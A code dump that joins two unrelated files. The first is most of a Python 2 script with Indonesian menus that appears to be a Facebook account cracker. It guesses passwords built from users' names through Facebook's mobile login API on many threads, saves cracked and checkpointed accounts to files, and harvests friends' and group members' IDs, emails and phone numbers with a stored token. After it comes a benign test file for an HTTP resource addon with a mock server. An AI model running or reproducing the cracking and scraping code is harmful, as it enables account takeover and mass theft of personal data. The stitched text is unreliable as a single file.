if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;92m] ' + user + ' | ' + pass19 +' ==> ' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;93m] ' + user +' | ' + pass19 +' ==> ' + b['name']
else:
pass20 = b['first_name'] + b['last_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass20 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;97m] ' + user +' | ' + pass20 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;97m] ' + user +' | ' + pass20 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
pass21 = b['first_name'] + b['last_name'] + '1234'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass20 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mBerhasil\xe2\x9c\x93\x1b[1;97m] ' + user +' | ' + pass21 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCekpoint\xe2\x9c\x9a\x1b[1;97m] ' + user +' | ' + pass21 +'==>' + b['name']
print 55 * '\x1b[1;97m\xe2\x95\x90'
except:
pass
p = ThreadPool(29)
p.map(main, id)
print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
autocrack()
def manualcrack():
global file
global idlist
global passw
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 52 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;93m*SILAHKAN AMBIL KUMPULAN ID FACEBOOK TERLEBIH DAHULU*'
print 52 * '\x1b[1;97m\xe2\x95\x90'
idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m')
passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword Crack Contoh(sayang) \x1b[1;91m: \x1b[1;97m')
try:
file = open(idlist, 'r')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...')
for x in range(40):
zedd = threading.Thread(target=scrak, args=())
zedd.start()
threads.append(zedd)
for zedd in threads:
zedd.join()
except IOError:
print '\x1b[1;91m[!] File not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu()
def scrak():
global back
global berhasil
global cekpoint
global gagal
global up
try:
buka = open(idlist, 'r')
up = buka.read().split()
while file:
username = file.readline().strip()
url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
data = urllib.urlopen(url)
mpsh = json.load(data)
if back == len(up):
break
if 'access_token' in mpsh:
bisa = open('Berhasil.txt', 'w')
bisa.write(username + ' | ' + passw + '\n')
bisa.close()
berhasil.append('\x1b[1;97m[\x1b[1;92m\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw)
back += 1
else:
if 'www.facebook.com' in mpsh['error_msg']:
cek = open('Cekpoint.txt', 'w')
cek.write(username + ' | ' + passw + '\n')
cek.close()
cekpoint.append('\x1b[1;97m[\x1b[1;93m\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw)
back += 1
else:
gagal.append(username)
back += 1
sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint)))
sys.stdout.flush()
except IOError:
print '\n\x1b[1;91m[!] Connection busy'
time.sleep(1)
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
def hasil():
print
print 52 * '\x1b[1;97m\xe2\x95\x90'
for b in berhasil:
print b
for c in cekpoint:
print c
print
print '\x1b[31m[x] Failed \x1b[1;97m--> ' + str(len(gagal))
keluar()
def group():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token tidak ditemukan'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
try:
uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket)
gud = json.loads(uh.text)
for p in gud['data']:
nama = p['name']
id = p['id']
f = open('grupid.txt', 'w')
listgrup.append(id)
f.write(id + '\n')
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama)
print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id)
print 40 * '\x1b[1;97m='
print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup)
print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt'
f.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
menu()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Terhenti'
raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
menu()
except KeyError:
os.remove('grupid.txt')
print '\x1b[1;91m[!] Grup tidak ditemukan'
raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
menu()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
keluar()
except IOError:
print '\x1b[1;91m[!] Kesalahan saat membuat file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
menu()
def grab():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 52 * '\x1b[1;97m\xe2\x95\x90'
print '║-> \x1b[1;37;40m1. Ambil ID Dari Teman'
print '║-> \x1b[1;37;40m2. Ambil ID Teman Dari Teman'
print '║-> \x1b[1;37;40m3. Ambil ID Dari Grup'
print '║-> \x1b[1;37;40m4. Ambil Email Dari Teman'
print '║-> \x1b[1;37;40m5. Ambil Email Teman Dari Teman'
print '║-> \x1b[1;37;40m6. Ambil No Hp Dari Teman'
print '║-> \x1b[1;37;40m7. Get Friend\'s Phone From Friends'
print '║-> \x1b[1;31;40m0. Kembali'
print '\x1b[1;37;40m║'
grab_pilih()
def grab_pilih():
cuih = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ')
if cuih == '':
print '\x1b[1;91m[!] Can\'t empty'
grab_pilih()
else:
if cuih == '1':
id_friends()
else:
if cuih == '2':
idfrom_friends()
else:
if cuih == '3':
id_member_grup()
else:
if cuih == '4':
email()
else:
if cuih == '5':
emailfrom_friends()
else:
if cuih == '6':
nomor_hp()
else:
if cuih == '7':
hpfrom_friends()
else:
if cuih == '0':
menu()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mnot found'
grab_pilih()
def id_friends():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 52 * '\x1b[1;97m\xe2\x95\x90'
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
z = json.loads(r.text)
save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
bz = open(save_id, 'w')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...')
print 52 * '\x1b[1;97m\xe2\x95\x90'
for ah in z['data']:
idfriends.append(ah['id'])
bz.write(ah['id'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + ah['name']
print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id']
print 52 * '\x1b[1;97m\xe2\x95\x90'
print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal ID \x1b[1;96m%s' % len(idfriends)
print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + save_id
bz.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error when creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except KeyError:
os.remove(save_id)
print '\x1b[1;91m[!] An error occurred'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def idfrom_friends():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 52 * '\x1b[1;97m\xe2\x95\x90'
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID Friends \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Not be friends'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket)
z = json.loads(r.text)
save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
bz = open(save_idt, 'w')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...')
print 52 * '\x1b[1;97m\xe2\x95\x90'
for ah in z['friends']['data']:
idfromfriends.append(ah['id'])
bz.write(ah['id'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + ah['name']
print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id']
print 52 * '\x1b[1;97m\xe2\x95\x90'
print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal ID \x1b[1;96m%s' % len(idfromfriends)
print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + save_idt
bz.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error when creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def id_member_grup():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 52 * '\x1b[1;97m\xe2\x95\x90'
id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ')
try:
r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] Group not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
b = open(simg, 'w')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...')
print 52 * '\x1b[1;97m\xe2\x95\x90'
re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket)
s = json.loads(re.text)
for i in s['data']:
idmem.append(i['id'])
b.write(i['id'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + i['name']
print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id']
print 52 * '\x1b[1;97m\xe2\x95\x90'
print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal ID \x1b[1;96m%s' % len(idmem)
print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + simg
b.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error when creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except KeyError:
os.remove(simg)
print '\x1b[1;91m[!] Group not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def email():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 52 * '\x1b[1;97m\xe2\x95\x90'
mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
a = json.loads(r.text)
mpsh = open(mails, 'w')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...')
print 52 * '\x1b[1;97m\xe2\x95\x90'
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
em.append(z['email'])
mpsh.write(z['email'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name']
print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email']
print 52 * '\x1b[1;97m\xe2\x95\x90'
except KeyError:
pass
print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal Email\x1b[1;96m%s' % len(em)
print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + mails
mpsh.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error when creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except KeyError:
os.remove(mails)
print '\x1b[1;91m[!] An error occurred'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def emailfrom_friends():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 52 * '\x1b[1;97m\xe2\x95\x90'
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID Friends \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Not be friends'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
a = json.loads(r.text)
mpsh = open(mails, 'w')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...')
print 52 * '\x1b[1;97m\xe2\x95\x90'
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
emfromfriends.append(z['email'])
mpsh.write(z['email'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name']
print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email']
print 52 * '\x1b[1;97m\xe2\x95\x90'
except KeyError:
pass
print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal Email\x1b[1;96m%s' % len(emfromfriends)
print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + mails
mpsh.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error when creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def nomor_hp():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 52 * '\x1b[1;97m\xe2\x95\x90'
noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
url = 'https://graph.facebook.com/me/friends?access_token=' + toket
r = requests.get(url)
z = json.loads(r.text)
no = open(noms, 'w')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...')
print 52 * '\x1b[1;97m\xe2\x95\x90'
for n in z['data']:
x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
hp.append(z['mobile_phone'])
no.write(z['mobile_phone'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name']
print '\x1b[1;92mPhone\x1b[1;91m : \x1b[1;97m' + z['mobile_phone']
print 52 * '\x1b[1;97m\xe2\x95\x90'
except KeyError:
pass
print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal Phone\x1b[1;96m%s' % len(hp)
print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + noms
no.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error when creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except KeyError:
os.remove(noms)
print '\x1b[1;91m[!] An error occurred '
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
def hpfrom_friends():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(0)
login()
else:
try:
os.system('clear')
print logo
print 52 * '\x1b[1;97m\xe2\x95\x90'
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput Friends ID \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Not be friends'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
a = json.loads(r.text)
no = open(noms, 'w')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...')
print 52 * '\x1b[1;97m\xe2\x95\x90'
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
hpfromfriends.append(z['mobile_phone'])
no.write(z['mobile_phone'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name']
print '\x1b[1;92mPhone\x1b[1;91m : \x1b[1;97m' + z['mobile_phone']
print 52 * '\x1b[1;97m\xe2\x95\x90'
except KeyError:
pass
print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal number\x1b[1;96m%s' % len(hpfromfriends)
print '\x1b[1;91m[+] \x1b[1;97mFile saved \x1b[1;91m: \x1b[1;97m' + noms
no.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Make file failed'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
keluar()
if __name__ == '__main__':
login()
|
test_net_addon.py | # -*- coding: utf8 -*-
import BaseHTTPServer
import SocketServer
import re
import socket
from os.path import isfile, join, dirname, isdir
from time import sleep
from nose.plugins.skip import Skip, SkipTest
from tests.functional_tests import isolate, run_tuttle_file, tuttle_invalidate
from tuttle.error import TuttleError
from tuttle.project_parser import ProjectParser
from tuttle.addons.net import HTTPResource
from BaseHTTPServer import BaseHTTPRequestHandler
from SocketServer import TCPServer
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from tuttle.tuttle_directories import TuttleDirectories
from tuttle.utils import EnvVar
from tuttle.workflow_runner import WorkflowRunner
from tuttle import report
from tests import is_online, online
class ThreadingHTTPServer(SocketServer.ThreadingMixIn,
SocketServer.TCPServer,
BaseHTTPServer.HTTPServer):
pass
class MockHTTPHandler(BaseHTTPRequestHandler):
""" This class is used to mock some HTTP behaviours :
* Etag
* Last-Modified
* Neither
Useful both for running tests offline and for not depending on some external change
"""
viz = join(dirname(report.__file__), 'html_report_assets', 'viz.js')
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(self.server_address)
def handle(self):
try:
BaseHTTPRequestHandler.handle(self)
except socket.error:
pass
def finish(self, *args, **kw):
try:
if not self.wfile.closed:
self.wfile.flush()
self.wfile.close()
except socket.error:
pass
self.rfile.close()
def log_message(self, format, *args):
# Don't log
return
def do_GET(self):
if self.path == "/protected_resource":
auth = self.headers.get('Authorization', False)
if auth:
self.send_response(200, "OK")
self.send_header('Content-type', 'text/plain')
self.send_header('Etag', auth)
self.end_headers()
self.wfile.write("Authentication provided : {}".format(auth))
else:
self.send_response(401, "Authentication required")
self.send_header('WWW-Authenticate', 'BASIC realm="foo"')
self.end_headers()
self.wfile.write("Please provide user and password in BASIC authentication")
if self.path == "/unavailable_protected_resource":
self.send_response(401, "Authentication required")
self.send_header('WWW-Authenticate', 'BASIC realm="foo"')
self.end_headers()
self.wfile.write("Please provide user and password in BASIC authentication")
if self.path == "/a_resource":
self.send_response(200, "OK")
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write("This is a resource")
if self.path == "/resource_with_etag":
self.send_response(200, "OK")
self.send_header('Etag', 'my_etag')
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write("This resource provides an Etag")
if self.path == "/resource_with_last_modified":
self.send_response(200, "OK")
self.send_header('Last-Modified', 'Tue, 30 Jun 1981 03:14:59 GMT')
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write("This resource provides a Last-Modified")
if self.path == "/resource_without_version":
self.send_response(200, "OK")
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write("This resource has no version information")
if self.path == "/huge_resource.js":
self.send_response(200, "OK")
self.send_header('Content-type', 'text/plain')
self.end_headers()
with open(self.viz) as f:
content = f.read()
try:
self.wfile.write(content)
except Exception:
pass
class TestHttpResource:
httpd = None
p = None
@classmethod
def run_server(cls):
cls.httpd = ThreadingHTTPServer(("", 8042), MockHTTPHandler)
cls.httpd.allow_reuse_address = True
cls.httpd.serve_forever()
@classmethod
def setUpClass(cls):
""" Run a web server in background to mock some specific HTTP behaviours
"""
from threading import Thread
cls.p = Thread(target=cls.run_server)
cls.p.start()
@classmethod
def tearDownClass(cls):
""" Stop the http server in background
"""
cls.httpd.shutdown()
cls.p.join()
def test_real_resource_exists(self):
"""A real resource should exist"""
# TODO : change this when tuttle has its site... If it can handle the load...
# Or by a local http server
if not online:
raise SkipTest("Offline")
res = HTTPResource("http://www.google.com/")
assert res.exists()
def test_fictive_resource_not_exists(self):
"""A fictive resource should not exist"""
if not online:
raise SkipTest("Offline")
res = HTTPResource("http://www.example.com/tuttle")
assert not res.exists()
def test_http_resource_in_workflow(self):
"""An HTTP resource should be allowed in a workflow"""
pp = ProjectParser()
project = "file://result <- http://www.google.com/"
pp.set_project(project)
workflow = pp.parse_project()
assert len(workflow._processes) == 1
inputs = [res for res in workflow._processes[0].iter_inputs()]
assert len(inputs) == 1
# TODO : should we follow resources in case of http redirection ?
def test_resource_etag_signature(self):
""" An HTTPResource with an Etag should use it as signature """
res = HTTPResource("http://www.example.com/")
sig = res.signature()
if sig is False:
raise SkipTest()
assert sig.find('Etag:') >= 0, sig
assert sig.find('1541025663') >= 0, sig
def test_resource_last_modified_signature(self):
""" An HTTPResource with an Last-Modified should use it as signature in case it doesn't have Etag"""
# res = HTTPResource("http://www.wikipedia.org/")
res = HTTPResource("http://localhost:8042/resource_with_last_modified")
sig = res.signature()
assert sig == 'Last-Modified: Tue, 30 Jun 1981 03:14:59 GMT', sig
def test_ressource_with_authentication(self):
""" Provided authentication should be used to access an http resource """
res = HTTPResource("http://localhost:8042/protected_resource")
res.set_authentication("user", "password")
assert res.exists(), "http://localhost:8042/protected_resource should exists"
sig = res.signature()
assert sig == 'Etag: Basic dXNlcjpwYXNzd29yZA==', sig
def test_ressource_with_bad_authentication(self):
""" Wrong authentication should make tuttle fail """
res = HTTPResource("http://localhost:8042/unavailable_protected_resource")
res.set_authentication("user", "password")
try:
res.exists()
assert False, "http://localhost:8042/unavailable_protected_resource is not meant to be available"
except TuttleError as e:
assert True
class TestHttpsResource:
def test_real_resource_exists(self):
"""A real resource should exist"""
if not online:
raise SkipTest("Offline")
res = HTTPResource("https://www.google.com/")
assert res.exists()
def test_fictive_resource_not_exists(self):
"""A fictive resource should not exist"""
if not online:
raise SkipTest("Offline")
res = HTTPResource("https://www.example.com/tuttle")
assert not res.exists()
def test_http_resource_in_workflow(self):
"""An HTTPS resource should be allowed in a workflow"""
pp = ProjectParser()
project = "file://result <- https://www.google.com/"
pp.set_project(project)
workflow = pp.parse_project()
assert len(workflow._processes) == 1
inputs = [res for res in workflow._processes[0].iter_inputs()]
assert len(inputs) == 1
class TestDownloadProcessor:
